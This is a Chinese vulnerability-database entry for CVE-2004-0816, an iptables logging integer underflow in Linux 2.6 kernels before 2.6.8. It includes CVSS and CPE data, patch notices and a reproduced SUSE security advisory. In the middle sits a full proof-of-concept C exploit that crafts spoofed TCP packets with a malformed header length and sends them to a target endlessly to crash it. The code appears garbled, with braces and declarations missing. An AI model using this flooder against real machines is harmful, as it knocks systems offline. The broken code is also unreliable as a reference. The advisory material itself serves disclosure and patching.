发布时间 :2004-12-23 00:00:00
修订时间 :2008-09-10 15:27:53

[原文]Integer underflow in the firewall logging rules for iptables in Linux before 2.6.8 allows remote attackers to cause a denial of service (application crash) via a malformed IP packet.

[CNNVD]Linux Kernel IPTables Logging Rules Integer下溢漏洞(CNNVD-200412-115)

        用于Linux 2.6.8以前版本的iptables的防火墙日志规则存在整数下溢漏洞。远程攻击者可以借助畸形IP数据包导致服务拒绝(应用程序崩溃)。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:linux:linux_kernel:2.6.0:test2Linux Kernel 2.6 test2
cpe:/o:linux:linux_kernel:2.6.1Linux Kernel 2.6.1
cpe:/o:linux:linux_kernel:2.6.7:rc1Linux Kernel 2.6.7 Release Candidate 1
cpe:/o:linux:linux_kernel:2.6.4Linux Kernel 2.6.4
cpe:/o:linux:linux_kernel:2.6.0:test9Linux Kernel 2.6 test9
cpe:/o:linux:linux_kernel:2.6.8:rc3Linux Kernel 2.6.8 Release Candidate 3
cpe:/o:linux:linux_kernel:2.6.8:rc2Linux Kernel 2.6.8 Release Candidate 2
cpe:/o:linux:linux_kernel:2.6.0:test5Linux Kernel 2.6 test5
cpe:/o:suse:suse_linux:9.1SuSE SuSE Linux 9.1
cpe:/o:linux:linux_kernel:2.6.0:test1Linux Kernel 2.6 test1
cpe:/o:linux:linux_kernel:2.6.0:test11Linux Kernel 2.6 test11
cpe:/o:linux:linux_kernel:2.6.1:rc1Linux Kernel 2.6.1 Release Candidate 1
cpe:/o:linux:linux_kernel:2.6.0:test7Linux Kernel 2.6 test7
cpe:/o:linux:linux_kernel:2.6.1:rc2Linux Kernel 2.6.1 Release Candidate 2
cpe:/o:linux:linux_kernel:2.6.2Linux Kernel 2.6.2
cpe:/o:linux:linux_kernel:2.6.0:test6Linux Kernel 2.6 test6
cpe:/o:linux:linux_kernel:2.6.0:test4Linux Kernel 2.6 test4
cpe:/o:linux:linux_kernel:2.6.0Linux Kernel 2.6.0
cpe:/o:linux:linux_kernel:2.6.8:rc1Linux Kernel 2.6.8 Release Candidate 1
cpe:/o:linux:linux_kernel:2.6.6:rc1Linux Kernel 2.6.6 Release Candidate 1
cpe:/o:linux:linux_kernel:2.6.3Linux Kernel 2.6.3
cpe:/o:linux:linux_kernel:2.6.0:test8Linux Kernel 2.6 test8
cpe:/o:linux:linux_kernel:2.6.0:test3Linux Kernel 2.6 test3
cpe:/o:linux:linux_kernel:2.6.0:test10Linux Kernel 2.6 test10
cpe:/o:linux:linux_kernel:2.6.5Linux Kernel 2.6.5
cpe:/o:linux:linux_kernel:2.6.7Linux Kernel 2.6.7
cpe:/o:linux:linux_kernel:2.6.6Linux Kernel 2.6.6

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(VENDOR_ADVISORY)  XF  linux-ip-packet-dos(17800)
(UNKNOWN)  BID  11488

- 漏洞信息

Linux Kernel IPTables Logging Rules Integer下溢漏洞
中危 边界条件错误
2004-12-23 00:00:00 2005-10-20 00:00:00
        用于Linux 2.6.8以前版本的iptables的防火墙日志规则存在整数下溢漏洞。远程攻击者可以借助畸形IP数据包导致服务拒绝(应用程序崩溃)。

- 公告与补丁

        It is reported that this issue is already fixed in the 2.6.8 upstream Linux kernel.
        SuSE has released an advisory (SUSE-SA:2004:037) and fixes to address this vulnerability in SuSE products. Customers are advised to peruse the referenced advisory for further information pertaining to obtaining and applying appropriate fixes.
        MandrakeSoft has issued fixes in advisory MDKSA-2005:022. See reference section.
        TurboLinux has released Turbolinux Security Announcement 28/Feb/2005 dealing with this and other issues. Please see the referenced advisory for more information.
        Linux kernel 2.6
        Linux kernel 2.6.3
        Linux kernel 2.6.4

- 漏洞信息 (24696)

Linux Kernel 2.6.x IPTables Logging Rules Integer Underflow Vulnerability (EDBID:24696)
linux remote
2004-11-21 Verified
0 Richard Hart
N/A [点击下载]

It is reported that an integer underflow vulnerability is present in the iptables logging rules of the Linux kernel 2.6 branch.

A remote attacker may exploit this vulnerability to crash a computer that is running the affected kernel.

The 2.6 Linux kernel is reported prone to this vulnerability, the 2.4 kernel is not reported to be vulnerable.

* iptables.log.integer.underflow.POC.c 
* (CAN-2004-0816, BID11488, SUSE-SA:2004:037)
* felix__zhou _at_ hotmail _dot_ com
* */

#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <time.h>

#pragma comment(lib,"ws2_32")

static unsigned char dip[4];
static unsigned int da;
static unsigned short dp;
static unsigned char dport[2];

static unsigned char sip[4];
static unsigned int sa;
static unsigned short sp;
static unsigned char sport[2];

static void ip_csum(unsigned char *ip, unsigned int size, unsigned char *sum)
unsigned int csum = 0;
unsigned char *p = ip;

while (1 < size) {
csum += (p[0] << 8) + p[1];
p += 2;
size -= 2;

if (size) 
csum += *p;

csum = (csum >> 16) + (csum & 0xffff);
csum += (csum >> 16);

sum[0] = (((unsigned short)(~csum)) >> 8);
sum[1] = ((((unsigned short)(~csum)) << 8) >> 8);

static void tcp_csum(unsigned char *tcp, unsigned char *ip, 
unsigned int size, unsigned char *sum)
unsigned int csum = 0;
unsigned char *p = tcp;

while (1 < size) {
csum += (p[0] << 8) + p[1];
p += 2;
size -= 2;

csum += (ip[12] << 8) + ip[13];
csum += (ip[14] << 8) + ip[15];

csum += (ip[16] << 8) + ip[17];
csum += (ip[18] << 8) + ip[19];

csum += 0x06;
csum += 0x14;

if (size) 
csum += *p;

csum = (csum >> 16) + (csum & 0xffff);
csum += (csum >> 16);

sum[0] = (((unsigned short)(~csum)) >> 8);
sum[1] = ((((unsigned short)(~csum)) << 8) >> 8);

static int work(SOCKET s)
DWORD ret = 1;
unsigned char buf[1500];
unsigned char *ip;
unsigned char *tcp;
unsigned int seq = 0x01;
struct sockaddr_in host;

ZeroMemory(buf, 1500);

ip = buf;
tcp = buf + 20;

ip[0] = 0x45; /* ver & hlen */
ip[3] = 0x28; /* tlen */
ip[8] = 0x80; /* ttl */
ip[9] = 0x06; /* protocol */
ip[10] = ip[11] = 0;
ip[12] = sip[0]; /* saddr */
ip[13] = sip[1];
ip[14] = sip[2];
ip[15] = sip[3];
ip[16] = dip[0]; /* daddr */
ip[17] = dip[1];
ip[18] = dip[2];
ip[19] = dip[3];

tcp[0] = sport[0];
tcp[1] = sport[1];
tcp[2] = dport[0]; /* dport */
tcp[3] = dport[1];
tcp[12] = 0x40; /* hlen */ /* HERE */
tcp[13] = 0x02; /* flags */

ZeroMemory(&host, sizeof(struct sockaddr_in));
host.sin_family = AF_INET;
host.sin_port = dp;
host.sin_addr.s_addr = da;

for (;; ) {
tcp[4] = (seq >> 24); /* seq number */
tcp[5] = ((seq << 8) >> 24);
tcp[6] = ((seq << 16) >> 24);
tcp[7] = ((seq << 24) >> 24);
tcp[16] = tcp[17] = 0;
seq ++;

tcp_csum(tcp, ip, 0x14, tcp + 16);

if (SOCKET_ERROR == sendto(s, buf, 0x28, 0, 
(SOCKADDR *)&(host), sizeof host)) {
if (WSAEACCES != WSAGetLastError()) {
printf("sendto() failed: %d\n", 

ret = 1;
} else {
printf("You must be Administrator!\n");


return ret;

static char usage[] = "Usage: %s dip dport sip sport\n";

int main(int argc, char **argv)
WORD ver = MAKEWORD(2, 2);
unsigned char *p;
int ret = 1;
BOOL eopt = TRUE;

if (5 != argc) {
printf(usage, argv[0]);
goto out;

if (INADDR_NONE == (da = inet_addr(argv[1]))) {
printf("dest ip address is NOT valid!\n");
printf(usage, argv[0]);
goto out;

p = (unsigned char *)&da;
dip[0] = p[0];
dip[1] = p[1];
dip[2] = p[2];
dip[3] = p[3];

dp = atoi(argv[2]);
dport[0] = ((dp << 16) >> 24);
dport[1] = ((dp << 24) >> 24);

if (INADDR_NONE == (sa = inet_addr(argv[3]))) {
printf("source ip address is NOT valid!\n");
printf(usage, argv[3]);
goto out;

p = (unsigned char *)&sa;
sip[0] = p[0];
sip[1] = p[1];
sip[2] = p[2];
sip[3] = p[3];

sp = atoi(argv[4]);
sport[0] = ((sp << 16) >> 24);
sport[1] = ((sp << 24) >> 24);

srand((unsigned int)time(0));

if (WSAStartup(ver, &data)) {
printf("WSAStartup() failed\n");
goto out;

if (INVALID_SOCKET == (s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, 0, 0, 0))) 
goto err;

if (SOCKET_ERROR == setsockopt(s, IPPROTO_IP, IP_HDRINCL, 
(char *)&eopt, sizeof(eopt)))
goto err1;



return ret;

- 漏洞信息 (F34947)

iptablesDoS.c (PacketStormID:F34947)
2004-11-05 00:00:00
Felix Zhou  
exploit,denial of service,overflow,proof of concept

Proof of concept denial of service exploit for iptables versions below 2.6.8 that makes use of an integer overflow in the logging functionality.

- 漏洞信息 (F34801)

SUSE Security Announcement 2004.37 (PacketStormID:F34801)
2004-10-27 00:00:00

SUSE Security Announcement - An integer underflow problem in the iptables firewall logging rules can allow a remote attacker to crash the machine by using a handcrafted IP packet. This attack is only possible with firewalling enabled.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">
<html xmlns="">
<meta http-equiv="Content-type" content="text/html;charset=utf-8" />
<title>Comments ≈ Packet Storm</title>
<meta name="description" content="Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers" />
<meta name="keywords" content="security,exploit,advisory,whitepaper,xss,csrf,overflow,scanner,vulnerability" />
<link rel="shortcut icon" href="/img/pss.ico" />
<link rel="stylesheet" media="screen,print,handheld" href="" type="text/css" />
<!--[if lt ie 8]><link rel="stylesheet" type="text/css" href="" /><![endif]-->
<script type="text/javascript" src=""></script>
<script type="text/javascript" src=""></script>
<link rel="search" type="application/opensearchdescription+xml" href="" title="Packet Storm Site Search" />
<link rel="alternate" type="application/rss+xml" title="Packet Storm Headlines" href="" />
<link rel="alternate" type="application/rss+xml" title="Packet Storm Recent Files" href="" />
<link rel="alternate" type="application/rss+xml" title="Packet Storm Exploits" href="" />
<link rel="alternate" type="application/rss+xml" title="Packet Storm Advisories" href="" />
<body id="files">
<div id="t">
   <div id="tc">
      <a id="top" href="/"><img src="" width="315" height="65" id="logo" alt="packet storm" /></a>
      <div id="slogan">all things security
      <div id="account"><a href="">Register</a> | <a href="">Login</a></div>
      <div id="search">
        <form method="get" action="/search/"><input type="text" name="q" id="q" maxlength="120" value="Search …" /><button type="submit"></button><div id="q-tabs"><label for="s-files" class="on">Files</label><label for="s-news">News</label><label for="s-users">Users</label><label for="s-authors">Authors</label><input type="radio" value="files" name="s" id="s-files" /><input type="radio" value="news" name="s" id="s-news" /><input type="radio" value="users" name="s" id="s-users" /><input type="radio" value="authors" name="s" id="s-authors" /></div></form>
    <div id="tn"><div id="tnc">
        <a href="/" id="tn-home"><span>Home</span></a> <a href="/files/" id="tn-files"><span>Files</span></a> <a href="/news/" id="tn-news"><span>News</span></a> <a href="/about/" id="tn-about"><span>About</span></a> <a href="/contact/" id="tn-contact"><span>Contact</span></a> <a href="/submit/" id="tn-submit"><span>Add New</span></a>
    <div id="tn2"></div>

<div id="c">

 <div id="cc">
     <div id="m">

    <div class="h1"><h1>SUSE Security Announcement 2004.37</h1></div>
<dl id="F34801" class="file first">
<dt><a class="ico text-plain" href="/files/download/34801/SUSE-SA%3A2004%3A037.txt" title="Size: 20.1 KB"><strong>SUSE Security Announcement 2004.37</strong></a></dt>
<dd class="datetime">Posted <a href="/files/date/2004-10-27/" title="02:51:52 UTC">Oct 27, 2004</a></dd>
<dd class="refer">Authored by <a href="/files/author/3499/" class="company">Novell</a> | Site <a href=""></a></dd>
<dd class="detail"><p>SUSE Security Announcement - An integer underflow problem in the iptables firewall logging rules can allow a remote attacker to crash the machine by using a handcrafted IP packet. This attack is only possible with firewalling enabled.</p></dd>
<dd class="tags"><span>tags</span> | <a href="/files/tags/advisory">advisory</a>, <a href="/files/tags/remote">remote</a></dd>
<dd class="os"><span>systems</span> | <a href="/files/os/linux">linux</a>, <a href="/files/os/suse">suse</a></dd>
<dd class="cve"><span>advisories</span> | <a href="/files/cve/CVE-2004-0816">CVE-2004-0816</a>, <a href="/files/cve/CVE-2004-0887">CVE-2004-0887</a></dd>
<dd class="md5"><span>MD5</span> | <code>02b512e803e2900214b02d8177cd1ce5</code></dd>
<dd class="act-links"><a href="/files/download/34801/SUSE-SA%3A2004%3A037.txt" title="Size: 20.1 KB" rel="nofollow">Download</a> | <a href="/files/favorite/34801/" class="fav" rel="nofollow">Favorite</a> | <a href="/files/34801/SUSE-Security-Announcement-2004.37.html">Comments <span>(0)</span></a></dd>
<div id="extra-links"><a href="/files/related/34801/SUSE-Security-Announcement-2004.37.html" id="related">Related Files</a><div id="share">
<h2>Share This</h2>
<li><iframe scrolling="no" frameborder="0" allowtransparency="true" style="border: medium none; overflow: hidden; width: 80px; height: 21px;" src=""></iframe></li><li><iframe scrolling="no" frameborder="0" tabindex="0" allowtransparency="true" src="" style="width: 110px; height: 20px;" title="Twitter"></iframe></li><li><a href="" class="LinkedIn">LinkedIn</a></li><li><a href="" class="Reddit">Reddit</a></li><li><a href="" class="Digg">Digg</a></li><li><a href="" class="StumbleUpon">StumbleUpon</a></li></ul>
<div class="h1"><h1>SUSE Security Announcement 2004.37</h1></div>
<div class="src">
<div><a href="/mirrors/">Change Mirror</a> <a href="/files/download/34801/SUSE-SA%3A2004%3A037.txt">Download</a></div>
<pre><code><br />-----BEGIN PGP SIGNED MESSAGE-----<br /><br />______________________________________________________________________________<br /><br />                        SUSE Security Announcement<br /><br />        Package:                kernel<br />        Announcement-ID:        SUSE-SA:2004:037<br />        Date:                   Wednesday, Oct 20th 2004 18:00 MEST<br />        Affected products:      9.1<br />                                SUSE Linux Enterprise Server 9<br />        Vulnerability Type:     remote denial of service<br />        Severity (1-10):        9<br />        SUSE default package:   yes<br />        Cross References:       CAN-2004-0816<br />                                CAN-2004-0887<br /><br />    Content of this advisory:<br />        1) security vulnerability resolved:<br />             - remote system crash with enabled firewall<br />             - local root exploit on the S/390 platform<br />             - minor /proc information leaks<br />           problem description<br />        2) solution/workaround<br />        3) special instructions and notes<br />        4) package location and checksums<br />        5) pending vulnerabilities, solutions, workarounds:<br />            - libtiff<br />            - cyrus-sasl<br />            - php4<br />            - zinf<br /><br />______________________________________________________________________________<br /><br />1) problem description, brief discussion<br /><br />   An integer underflow problem in the iptables firewall logging rules<br />   can allow a remote attacker to crash the machine by using a handcrafted<br />   IP packet. This attack is only possible with firewalling enabled.<br /><br />   We would like to thank Richard Hart for reporting the problem.<br /><br />   This problem has already been fixed in the 2.6.8 upstream Linux kernel,<br />   this update contains a backport of the fix.<br /><br />   Products running a 2.4 kernel are not affected.<br /><br />   Mitre has assigned the CVE ID CAN-2004-0816 for this problem.<br /><br /><br />   Additionaly Martin Schwidefsky of IBM found an incorrectly handled<br />   privileged instruction which can lead to a local user gaining<br />   root user privileges.<br /><br />   This only affects the SUSE Linux Enterprise Server 9 on the S/390<br />   platform and has been assigned CVE ID CAN-2004-0887.<br /><br /><br />   Additionaly the following non-security bugs were fixed:<br /><br />   - Two CD burning problems.<br /><br />   - USB 2.0 stability problems under high load on SMP systems.<br /><br />   - Several SUSE Linux Enterprise Server issues.<br />     (see the Maintenance Information Mail for more informations).<br /><br /><br />2) solution/workaround<br /><br />   If you are not using an iptables based firewall (like SUSEfirewall2)<br />   on your system, you are not affected.<br /><br />   If you are using a firewall, a workaround is to disable firewall<br />   logging of IP and TCP options.<br /><br />   We recommend to update the kernel.<br /><br />3) special instructions and notes<br /><br />    SPECIAL INSTALL INSTRUCTIONS:<br />    ==============================<br />    The following paragraphs will guide you through the installation<br />    process in a step-by-step fashion. The character sequence "****"<br />    marks the beginning of a new paragraph. In some cases, the steps<br />    outlined in a particular paragraph may or may not be applicable<br />    to your situation.<br />    Therefore, please make sure to read through all of the steps below<br />    before attempting any of these procedures.<br />    All of the commands that need to be executed are required to be<br />    run as the superuser (root). Each step relies on the steps before<br />    it to complete successfully.<br /><br /><br />  **** Step 1: Determine the needed kernel type<br /><br />    Please use the following command to find the kernel type that is<br />    installed on your system:<br /><br />      rpm -qf /boot/vmlinuz<br /><br />    Following are the possible kernel types (disregard the version and<br />    build number following the name separated by the "-" character)<br /><br />      kernel-64k-pagesize<br />      kernel-bigsmp<br />      kernel-default<br />      kernel-smp<br /><br />  **** Step 2: Download the package for your system<br /><br />    Please download the kernel RPM package for your distribution with the<br />    name as indicated by Step 1. The list of all kernel rpm packages is<br />    appended below. Note: The kernel-source package does not<br />    contain a binary kernel in bootable form. Instead, it contains the<br />    sources that the binary kernel rpm packages are created from. It can be<br />    used by administrators who have decided to build their own kernel.<br />    Since the kernel-source.rpm is an installable (compiled) package that<br />    contains sources for the linux kernel, it is not the source RPM for<br />    the kernel RPM binary packages.<br /><br />    The kernel RPM binary packages for the distributions can be found at the<br />    locations below<br /><br />      9.1/rpm/i586<br /><br />    After downloading the kernel RPM package for your system, you should<br />    verify the authenticity of the kernel rpm package using the methods as<br />    listed in section 3) of each SUSE Security Announcement.<br /><br /><br />  **** Step 3: Installing your kernel rpm package<br /><br />    Install the rpm package that you have downloaded in Steps 3 or 4 with<br />    the command<br />        rpm -Uhv --nodeps --force <K_FILE.RPM><br />    where <K_FILE.RPM> is the name of the rpm package that you downloaded.<br /><br />    Warning: After performing this step, your system will likely not be<br />             able to boot if the following steps have not been fully<br />             followed.<br /><br /><br />  **** Step 4: configuring and creating the initrd<br /><br />    The initrd is a ramdisk that is loaded into the memory of your<br />    system together with the kernel boot image by the bootloader. The<br />    kernel uses the content of this ramdisk to execute commands that must<br />    be run before the kernel can mount its actual root filesystem. It is<br />    usually used to initialize SCSI drivers or NIC drivers for diskless<br />    operation.<br /><br />    The variable INITRD_MODULES in /etc/sysconfig/kernel determines<br />    which kernel modules will be loaded in the initrd before the kernel<br />    has mounted its actual root filesystem. The variable should contain<br />    your SCSI adapter (if any) or filesystem driver modules.<br /><br />    With the installation of the new kernel, the initrd has to be<br />    re-packed with the update kernel modules. Please run the command<br /><br />      mk_initrd<br /><br />    as root to create a new init ramdisk (initrd) for your system.<br />    On SuSE Linux 8.1 and later, this is done automatically when the<br />    RPM is installed.<br /><br /><br />  **** Step 5: bootloader<br /><br />    If you run a SUSE LINUX 8.x, SLES8, or SUSE LINUX 9.x system, there<br />    are two options:<br />    Depending on your software configuration, you have either the lilo<br />    bootloader or the grub bootloader installed and initialized on your<br />    system.<br />    The grub bootloader does not require any further actions to be<br />    performed after the new kernel images have been moved in place by the<br />    rpm Update command.<br />    If you have a lilo bootloader installed and initialized, then the lilo<br />    program must be run as root. Use the command<br /><br />      grep LOADER_TYPE /etc/sysconfig/bootloader<br /><br />    to find out which boot loader is configured. If it is lilo, then you<br />    must run the lilo command as root. If grub is listed, then your system<br />    does not require any bootloader initialization.<br /><br />    Warning: An improperly installed bootloader may render your system<br />             unbootable.<br /><br />  **** Step 6: reboot<br /><br />    If all of the steps above have been successfully completed on your<br />    system, then the new kernel including the kernel modules and the<br />    initrd should be ready to boot. The system needs to be rebooted for<br />    the changes to become active. Please make sure that all steps have<br />    completed, then reboot using the command<br />        shutdown -r now<br />    or<br />        init 6<br /><br />    Your system should now shut down and reboot with the new kernel.<br /><br /><br />4) package location and checksums<br /><br />    Please download the update package for your distribution and verify its<br />    integrity by the methods listed in section 3) of this announcement.<br />    Then, install the package using the command "rpm -Fhv file.rpm" to apply<br />    the update.<br />    Our maintenance customers are being notified individually. The packages<br />    are being offered to install from the maintenance web.<br /><br /><br />    x86 Platform:<br /><br />    SUSE Linux 9.1:<br /><br />      735f99730442772d0caeb1043576da0e<br /><br />      8e38495a90203fdeef0167126e9699fd<br /><br />      54474a313ff90c5a5ded8cd3590016ee<br />    source rpm(s):<br /><br />      60a46f48bbae6989a50d2b3c735cd176<br /><br />      5bc77692dc82521b83378c97d39acd72<br /><br />      348c5d63b8c26c548d8b5bfcc894b805<br /><br /><br />    x86-64 Platform:<br /><br />    SUSE Linux 9.1:<br /><br />      53ec1285f8933f79b6e53f2cb4d2094a<br /><br />      de3bf18c94d26a2b3477cf11cf723380<br />    source rpm(s):<br /><br />      3e6123bd50f2802cf6a96ccfa2af674f<br /><br />      365354d9e91032e53436f949da6ae8f6<br /><br />______________________________________________________________________________<br /><br />5)  Pending vulnerabilities in SUSE Distributions and Workarounds:<br /><br />    libtiff<br />        - Several buffer and integer overflows have been found in the<br />          image handling library libtiff by Chris Evans and Dmitry Levin,<br />          recorded under CVE Ids: CAN-2004-0803,CAN-2004-0804,CAN-2004-0886.<br /><br />          We are working on updates and will release them within the<br />          next days.<br /><br />    cyrus-sasl<br />        - The SASL_PATH environment variable was also used to load<br />          plugins even with setuid privileges set, which can lead to a<br />          local root privilege escalation.<br /><br />          The default SUSE installation was not found to be affected<br />          by this problem, neithertheless we are in the process of<br />          releasing updates. The CVE ID for this issue is: CAN-2004-0884<br /><br />    php4<br />        - File overwrite problems were identified in php4. We have<br />          released updates for this issue.<br />          However, due to problems with php4-recode in combination with<br />          php4-mysql we had to withdraw the update from YaST2<br />          Online Update for some SUSE Linux versions.<br />          New packages will be available soon.<br /><br />    zinf<br />        - A tempfile race condition in zinf / freeamp was fixed, packages<br />          are available.<br /><br />    phpMyAdmin<br />        - A bug in phpMyAdmin that would allow users to execute<br />          arbitrary commands has been discovered. New packages will be<br />          available soon.<br /><br />    mysql<br />        - Several bugs in mysql have been discovered. New packages<br />          will be available soon.<br /><br />    libpng<br />        - The issues with libpng described in CAN-2004-0954 and<br />          CAN-2004-0955 where already fixed in the last libpng update.<br />          Fixed packages are therefore already available on our ftp<br />          server.<br /><br />______________________________________________________________________________<br /><br />6)  standard appendix: authenticity verification, additional information<br /><br />  - Package authenticity verification:<br /><br />    SUSE update packages are available on many mirror ftp servers all over<br />    the world. While this service is being considered valuable and important<br />    to the free and open source software community, many users wish to be<br />    sure about the origin of the package and its content before installing<br />    the package. There are two verification methods that can be used<br />    independently from each other to prove the authenticity of a downloaded<br />    file or rpm package:<br />    1) md5sums as provided in the (cryptographically signed) announcement.<br />    2) using the internal gpg signatures of the rpm package.<br /><br />    1) execute the command<br />        md5sum <name-of-the-file.rpm><br />       after you downloaded the file from a SUSE ftp server or its mirrors.<br />       Then, compare the resulting md5sum with the one that is listed in the<br />       announcement. Since the announcement containing the checksums is<br />       cryptographically signed (usually using the key,<br />       the checksums show proof of the authenticity of the package.<br />       We disrecommend to subscribe to security lists which cause the<br />       email message containing the announcement to be modified so that<br />       the signature does not match after transport through the mailing<br />       list software.<br />       Downsides: You must be able to verify the authenticity of the<br />       announcement in the first place. If RPM packages are being rebuilt<br />       and a new version of a package is published on the ftp server, all<br />       md5 sums for the files are useless.<br /><br />    2) rpm package signatures provide an easy way to verify the authenticity<br />       of an rpm package. Use the command<br />        rpm -v --checksig <file.rpm><br />       to verify the signature of the package, where <file.rpm> is the<br />       filename of the rpm package that you have downloaded. Of course,<br />       package authenticity verification can only target an un-installed rpm<br />       package file.<br />       Prerequisites:<br />        a) gpg is installed<br />        b) The package is signed using a certain key. The public part of this<br />           key must be installed by the gpg program in the directory<br />           ~/.gnupg/ under the user's home directory who performs the<br />           signature verification (usually root). You can import the key<br />           that is used by SUSE in rpm packages for SUSE Linux by saving<br />           this announcement to a file ("announcement.txt") and<br />           running the command (do "su -" to be root):<br />            gpg --batch; gpg < announcement.txt | gpg --import<br />           SUSE Linux distributions version 7.1 and thereafter install the<br />           key "" upon installation or upgrade, provided that<br />           the package gpg is installed. The file containing the public key<br />           is placed at the top-level directory of the first CD (pubring.gpg)<br />           and at .<br /><br /><br />  - SUSE runs two security mailing lists to which any interested party may<br />    subscribe:<br /><br /><br />        -   general/linux/SUSE security discussion.<br />            All SUSE security announcements are sent to this list.<br />            To subscribe, send an email to<br />                <>.<br /><br /><br />        -   SUSE's announce-only mailing list.<br />            Only SUSE's security announcements are sent to this list.<br />            To subscribe, send an email to<br />                <>.<br /><br />    For general information or the frequently asked questions (faq)<br />    send mail to:<br />        <> or<br />        <> respectively.<br /><br />    =====================================================================<br />    SUSE's security contact is <> or <>.<br />    The <> public key is listed below.<br />    =====================================================================<br />______________________________________________________________________________<br /><br />    The information in this advisory may be distributed or reproduced,<br />    provided that the advisory is not modified in any way. In particular,<br />    it is desired that the clear-text signature shows proof of the<br />    authenticity of the text.<br />    SUSE Linux AG makes no warranties of any kind whatsoever with respect<br />    to the information contained in this security advisory.<br /><br />Type Bits/KeyID    Date       User ID<br />pub  2048R/3D25D3D9 1999-03-06 SuSE Security Team <><br />pub  1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <><br /><br />- -----BEGIN PGP PUBLIC KEY BLOCK-----<br />Version: GnuPG v1.0.6 (GNU/Linux)<br />Comment: For info see<br /><br />mQGiBDnu9IERBACT8Y35+2vv4MGVKiLEMOl9GdST6MCkYS3yEKeueNWc+z/0Kvff<br />4JctBsgs47tjmiI9sl0eHjm3gTR8rItXMN6sJEUHWzDP+Y0PFPboMvKx0FXl/A0d<br />M+HFrruCgBlWt6FA+okRySQiliuI5phwqkXefl9AhkwR8xocQSVCFxcwvwCglVcO<br />QliHu8jwRQHxlRE0tkwQQI0D+wfQwKdvhDplxHJ5nf7U8c/yE/vdvpN6lF0tmFrK<br />XBUX+K7u4ifrZlQvj/81M4INjtXreqDiJtr99Rs6xa0ScZqITuZC4CWxJa9GynBE<br />D3+D2t1V/f8l0smsuYoFOF7Ib49IkTdbtwAThlZp8bEhELBeGaPdNCcmfZ66rKUd<br />G5sRA/9ovnc1krSQF2+sqB9/o7w5/q2qiyzwOSTnkjtBUVKn4zLUOf6aeBAoV6NM<br />CC3Kj9aZHfA+ND0ehPaVGJgjaVNFhPi4x0e7BULdvgOoAqajLfvkURHAeSsxXIoE<br />myW/xC1sBbDkDUIBSx5oej73XCZgnj/inphRqGpsb+1nKFvF+rQoU3VTRSBQYWNr<br />YWdlIFNpZ25pbmcgS2V5IDxidWlsZEBzdXNlLmRlPohcBBMRAgAcBQI57vSBBQkD<br />wmcABAsKAwQDFQMCAxYCAQIXgAAKCRCoTtronIAKyl8sAJ98BgD40zw0GHJHIf6d<br />NfnwI2PAsgCgjH1+PnYEl7TFjtZsqhezX7vZvYCIRgQQEQIABgUCOnBeUgAKCRCe<br />QOMQAAqrpNzOAKCL512FZvv4VZx94TpbA9lxyoAejACeOO1HIbActAevk5MUBhNe<br />LZa/qM2JARUDBRA6cGBvd7LmAD0l09kBATWnB/9An5vfiUUE1VQnt+T/EYklES3t<br />XXaJJp9pHMa4fzFa8jPVtv5UBHGee3XoUNDVwM2OgSEISZxbzdXGnqIlcT08TzBU<br />D9i579uifklLsnr35SJDZ6ram51/CWOnnaVhUzneOA9gTPSr+/fT3WeVnwJiQCQ3<br />0kNLWVXWATMnsnT486eAOlT6UNBPYQLpUprF5Yryk23pQUPAgJENDEqeU6iIO9Ot<br />1ZPtB0lniw+/xCi13D360o1tZDYOp0hHHJN3D3EN8C1yPqZd5CvvznYvB6bWBIpW<br />cRgdn2DUVMmpU661jwqGlRz1F84JG/xe4jGuzgpJt9IXSzyohEJB6XG5+D0BiF0E<br />ExECAB0FAjxqqTQFCQoAgrMFCwcKAwQDFQMCAxYCAQIXgAAKCRCoTtronIAKyp1f<br />AJ9dR7saz2KPNwD3U+fy/0BDKXrYGACfbJ8fQcJqCBQxeHvt9yMPDVq0B0W5Ag0E<br />Oe70khAIAISR0E3ozF/la+oNaRwxHLrCet30NgnxRROYhPaJB/Tu1FQokn2/Qld/<br />HZnh3TwhBIw1FqrhWBJ7491iAjLR9uPbdWJrn+A7t8kSkPaF3Z/6kyc5a8fas44h<br />t5h+6HMBzoFCMAq2aBHQRFRNp9Mz1ZvoXXcI1lk1l8OqcUM/ovXbDfPcXsUVeTPT<br />tGzcAi2jVl9hl3iwJKkyv/RLmcusdsi8YunbvWGFAF5GaagYQo7YlF6UaBQnYJTM<br />523AMgpPQtsKm9o/w9WdgXkgWhgkhZEeqUS3m5xNey1nLu9iMvq9M/iXnGz4sg6Q<br />2Y+GqZ+yAvNWjRRou3zSE7Bzg28MI4sAAwYH/2D71Xc5HPDgu87WnBFgmp8MpSr8<br />QnSs0wwPg3xEullGEocolSb2c0ctuSyeVnCttJMzkukL9TqyF4s/6XRstWirSWaw<br />JxRLKH6Zjo/FaKsshYKf8gBkAaddvpl3pO0gmUYbqmpQ3xDEYlhCeieXS5MkockQ<br />1sj2xYdB1xO0ExzfiCiscUKjUFy+mdzUsUutafuZ+gbHog1CN/ccZCkxcBa5IFCH<br />ORrNjq9pYWlrxsEn6ApsG7JJbM2besW1PkdEoxak74z1senh36m5jQvVjA3U4xq1<br />wwylxadmmJaJHzeiLfb7G1ZRjZTsB7fyYxqDzMVul6o9BSwO/1XsIAnV1uuITAQY<br />EQIADAUCOe70kgUJA8JnAAAKCRCoTtronIAKyksiAJsFB3/77SkH3JlYOGrEe1Ol<br />0JdGwACeKTttgeVPFB+iGJdiwQlxasOfuXyITAQYEQIADAUCPGqpWQUJCgCCxwAK<br />CRCoTtronIAKyofBAKCSZM2UFyta/fe9WgITK9I5hbxxtQCfX+0ar2CZmSknn3co<br />SPihn1+OBNyZAQ0DNuEtBAAAAQgAoCRcd7SVZEFcumffyEwfLTcXQjhKzOahzxpo<br />omuF+HIyU4AGq+SU8sTZ/1SsjhdzzrSAfv1lETACA+3SmLr5KV40Us1w0UC64cwt<br 